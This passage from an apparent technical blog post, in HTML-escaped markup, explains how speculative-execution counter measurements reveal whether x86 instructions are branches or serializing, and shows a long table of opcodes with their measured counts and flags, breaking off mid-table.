&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;propertyMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x2-deduction-of-behavior"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Deduction of behavior&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s demonstrate the amazing amount of information we&amp;rsquo;ve gathered just from these two counters and some bytes existing at some fixed place without even being executed. If MS is below the nop baseline, this would indicate that the control flow is interrupted meaning that it must be a branch or an exception and if the MITS is the same as the fault-baseline, this likely indicates a serializing instruction which dispatched a number of micro-instructions (given that it passed our initial filter of MS or MITS not remaining same) but then halted the speculative flow (since none of the NOP opcodes were decoded).&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;668690&lt;/td&gt;
&lt;td class="dec"&gt;xchg byte ptr [rax-0x6f6f6f70], dl&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6c&lt;/td&gt;
&lt;td class="dec"&gt;insb&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6d&lt;/td&gt;
&lt;td class="dec"&gt;insd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;99&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6e&lt;/td&gt;
&lt;td class="dec"&gt;outsb&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;98&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;6f&lt;/td&gt;
&lt;td class="dec"&gt;outsd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;98&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8e90&lt;/td&gt;
&lt;td class="dec"&gt;mov ss, word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;c290&lt;/td&gt;
&lt;td class="dec"&gt;ret 0x9090&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;107&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — CF interrupted but continues from valid IP"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;c3&lt;/td&gt;
&lt;td class="dec"&gt;ret&lt;/td&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;106&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — CF interrupted but continues from valid IP"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;ca90&lt;/td&gt;
&lt;td class="dec"&gt;ret far 0x9090&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;145&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — CF interrupted but continues from valid IP"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cb&lt;/td&gt;
&lt;td class="dec"&gt;ret far&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;145&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cc&lt;/td&gt;
&lt;td class="dec"&gt;int3&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cd90&lt;/td&gt;
&lt;td class="dec"&gt;int 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;cf&lt;/td&gt;
&lt;td class="dec"&gt;iretd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;136&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e490&lt;/td&gt;
&lt;td class="dec"&gt;in al, 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e590&lt;/td&gt;
&lt;td class="dec"&gt;in eax, 0x90&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e690&lt;/td&gt;
&lt;td class="dec"&gt;out 0x90, al&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e790&lt;/td&gt;
&lt;td class="dec"&gt;out 0x90, eax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ec&lt;/td&gt;
&lt;td class="dec"&gt;in al, dx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ed&lt;/td&gt;
&lt;td class="dec"&gt;in eax, dx&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ee&lt;/td&gt;
&lt;td class="dec"&gt;out dx, al&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;ef&lt;/td&gt;
&lt;td class="dec"&gt;out dx, eax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f1&lt;/td&gt;
&lt;td class="dec"&gt;int1&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f4&lt;/td&gt;
&lt;td class="dec"&gt;hlt&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;124&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0090&lt;/td&gt;
&lt;td class="dec"&gt;lldt word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;93&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0098&lt;/td&gt;
&lt;td class="dec"&gt;ltr word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0080&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0081&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0088&lt;/td&gt;
&lt;td class="dec"&gt;str word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00a0&lt;/td&gt;
&lt;td class="dec"&gt;verr word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00a8&lt;/td&gt;
&lt;td class="dec"&gt;verw word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;91&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00d8&lt;/td&gt;
&lt;td class="dec"&gt;ltr ax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;108&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0190&lt;/td&gt;
&lt;td class="dec"&gt;lgdt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0198&lt;/td&gt;
&lt;td class="dec"&gt;lidt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;94&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0180&lt;/td&gt;
&lt;td class="dec"&gt;sgdt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0188&lt;/td&gt;
&lt;td class="dec"&gt;sidt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01b0&lt;/td&gt;
&lt;td class="dec"&gt;lmsw word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01b8&lt;/td&gt;
&lt;td class="dec"&gt;invlpg byte ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;114&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01a0&lt;/td&gt;
&lt;td class="dec"&gt;smsw word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20f22a4&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rsp&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20f2396&lt;/td&gt;
&lt;td class="dec"&gt;mov dr2, rsi&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20f2380&lt;/td&gt;
&lt;td class="dec"&gt;mov dr0, rax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20fc788&lt;/td&gt;
&lt;td class="dec"&gt;cmpxchg8b qword ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f20fc78a&lt;/td&gt;
&lt;td class="dec"&gt;cmpxchg8b qword ptr [rdx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f38690&lt;/td&gt;
&lt;td class="dec"&gt;xrelease xchg byte ptr [rax-0x6f6f6f70], dl&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f38790&lt;/td&gt;
&lt;td class="dec"&gt;xrelease xchg dword ptr [rax-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f38890&lt;/td&gt;
&lt;td class="dec"&gt;xrelease mov byte ptr [rax-0x6f6f6f70], dl&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f38990&lt;/td&gt;
&lt;td class="dec"&gt;xrelease mov dword ptr [rax-0x6f6f6f70], edx&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f36c&lt;/td&gt;
&lt;td class="dec"&gt;rep insb&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f36d&lt;/td&gt;
&lt;td class="dec"&gt;rep insd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f36e&lt;/td&gt;
&lt;td class="dec"&gt;rep outsb&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f36f&lt;/td&gt;
&lt;td class="dec"&gt;rep outsd&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3a4&lt;/td&gt;
&lt;td class="dec"&gt;rep movsb byte ptr [rdi], byte ptr [rsi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;118&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3a6&lt;/td&gt;
&lt;td class="dec"&gt;rep cmpsb byte ptr [rsi], byte ptr [rdi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3a7&lt;/td&gt;
&lt;td class="dec"&gt;rep cmpsd dword ptr [rsi], dword ptr [rdi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3aa&lt;/td&gt;
&lt;td class="dec"&gt;rep stosb byte ptr [rdi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;125&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3ac&lt;/td&gt;
&lt;td class="dec"&gt;rep lodsb byte ptr [rsi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;106&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3ad&lt;/td&gt;
&lt;td class="dec"&gt;rep lodsd dword ptr [rsi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;106&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3ae&lt;/td&gt;
&lt;td class="dec"&gt;rep scasb byte ptr [rdi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="hl"&gt; &lt;td class="idx"&gt;f3af&lt;/td&gt;
&lt;td class="dec"&gt;rep scasd dword ptr [rdi]&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;sup class="tbl-note" data-note="Likely error — rcx is undefined"&gt;*&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0082&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rdx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0088&lt;/td&gt;
&lt;td class="dec"&gt;str word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f0180&lt;/td&gt;
&lt;td class="dec"&gt;sgdt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f018a&lt;/td&gt;
&lt;td class="dec"&gt;sidt ptr [rdx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f01a1&lt;/td&gt;
&lt;td class="dec"&gt;smsw word ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f2190&lt;/td&gt;
&lt;td class="dec"&gt;mov rax, dr2&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;107&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f22a4&lt;/td&gt;
&lt;td class="dec"&gt;mov cr4, rsp&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f2380&lt;/td&gt;
&lt;td class="dec"&gt;mov dr0, rax&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f238e&lt;/td&gt;
&lt;td class="dec"&gt;mov dr1, rsi&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
